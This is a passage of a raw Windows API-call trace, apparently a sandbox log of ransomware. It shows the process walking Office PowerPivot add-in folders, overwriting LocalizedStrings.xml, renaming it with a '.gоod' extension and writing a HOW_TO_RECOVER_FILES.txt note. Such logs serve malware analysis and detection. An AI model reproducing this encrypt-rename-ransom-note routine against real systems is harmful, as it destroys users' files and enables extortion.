ftLastWriteTime.dwLowDateTime=0xfb86af90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x71068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0254.608] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b61d36, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0254.608] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc2ff666, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2ff666, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2ff666, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0254.608] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4078, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0254.608] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff31e88, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeff31e88, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa058, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0254.608] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0254.609] FindNextFileW (in: hFindFile=0x134a980, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4646280, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4646280, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0254.609] FindClose (in: hFindFile=0x134a980 | out: hFindFile=0x134a980) returned 1 [0254.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecb30) returned 1 [0254.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecaf0) returned 1 [0254.609] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec9a0) returned 1 [0254.609] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x3ab9c20 | out: lpFileInformation=0x3ab9c20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a4)) returned 1 [0254.609] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec960) returned 1 [0254.609] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.609] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.610] GetFileType (hFile=0x864) returned 0x1 [0254.610] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.610] GetFileType (hFile=0x864) returned 0x1 [0254.610] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x1000 [0254.610] ReadFile (in: hFile=0x864, lpBuffer=0x3aba0d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec9c8, lpOverlapped=0x0 | out: lpBuffer=0x3aba0d8*, lpNumberOfBytesRead=0x206ec9c8*=0x1a4, lpOverlapped=0x0) returned 1 [0254.611] CloseHandle (hObject=0x864) returned 1 [0254.611] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.611] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.611] GetFileType (hFile=0x864) returned 0x1 [0254.611] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.611] GetFileType (hFile=0x864) returned 0x1 [0254.611] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x206ec9f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x206ec9f8*=0) returned 0x11a4 [0254.611] WriteFile (in: hFile=0x864, lpBuffer=0x3abc978*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x206ec8e8, lpOverlapped=0x0 | out: lpBuffer=0x3abc978*, lpNumberOfBytesWritten=0x206ec8e8*=0x10, lpOverlapped=0x0) returned 1 [0254.612] CloseHandle (hObject=0x864) returned 1 [0254.612] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.612] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.612] GetFileType (hFile=0x864) returned 0x1 [0254.612] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.612] GetFileType (hFile=0x864) returned 0x1 [0254.612] ReadFile (in: hFile=0x864, lpBuffer=0x3abec88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x206ec978, lpOverlapped=0x0 | out: lpBuffer=0x3abec88*, lpNumberOfBytesRead=0x206ec978*=0x1000, lpOverlapped=0x0) returned 1 [0254.787] CloseHandle (hObject=0x864) returned 1 [0254.787] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec380, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0254.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec8a0) returned 1 [0254.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0254.788] GetFileType (hFile=0x864) returned 0x1 [0254.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec810) returned 1 [0254.788] GetFileType (hFile=0x864) returned 0x1 [0254.788] WriteFile (in: hFile=0x864, lpBuffer=0x3a27a40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x206eca28, lpOverlapped=0x0 | out: lpBuffer=0x3a27a40*, lpNumberOfBytesWritten=0x206eca28*=0x1010, lpOverlapped=0x0) returned 1 [0254.865] CloseHandle (hObject=0x864) returned 1 [0255.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml", lpFilePart=0x0) returned 0x66 [0255.090] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.gоod", nBufferLength=0x105, lpBuffer=0x206ec4d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.gоod", lpFilePart=0x0) returned 0x6b [0255.090] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec960) returned 1 [0255.090] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), fInfoLevelId=0x0, lpFileInformation=0x206eca40 | out: lpFileInformation=0x206eca40*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x941f09e1, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x11b4)) returned 1 [0255.091] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec920) returned 1 [0255.091] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\LocalizedStrings.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\localizedstrings.xml.gоod")) returned 1 [0255.127] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ec640, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x6a [0255.127] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecb60) returned 1 [0255.127] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\powerpivot excel add-in\\de\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x8a4 [0255.127] GetFileType (hFile=0x8a4) returned 0x1 [0255.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ecad0) returned 1 [0255.127] GetFileType (hFile=0x8a4) returned 0x1 [0255.128] WriteFile (in: hFile=0x8a4, lpBuffer=0x3c1f750*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ecc28, lpOverlapped=0x0 | out: lpBuffer=0x3c1f750*, lpNumberOfBytesWritten=0x206ecc28*=0x5d0, lpOverlapped=0x0) returned 1 [0255.128] CloseHandle (hObject=0x8a4) returned 1 [0255.129] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ecbf0) returned 1 [0255.129] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el", nBufferLength=0x105, lpBuffer=0x206ec690, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el", lpFilePart=0x0) returned 0x51 [0255.129] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\*", lpFindFileData=0x206ec910 | out: lpFindFileData=0x206ec910*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0255.129] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.129] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x169d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0255.129] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf073ddf4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf073ddf4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xcaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa68949f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa68949f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa806c3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MIDF86~1.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf23b4040, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4cfac8a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4cfac8a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf5a3de35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x211030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4620012, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4620012, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4646280, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6bad1cb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6bad1cb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6bad1cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x25040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MI93CC~1.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeff580e7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0063153, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0255.130] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6224b6a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6224b6a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4d050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61fd8b4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4baa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61d7668, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61d7668, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x860e337, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x860e337, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MIC811~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf126aeb1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf126aeb1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf12b7378, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x76040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15ac8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: lpFindFileData=0x206ec8d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf75a8fbb, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf75a8fbb, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf75a8fbb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0255.131] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x206ec8d0 | out: 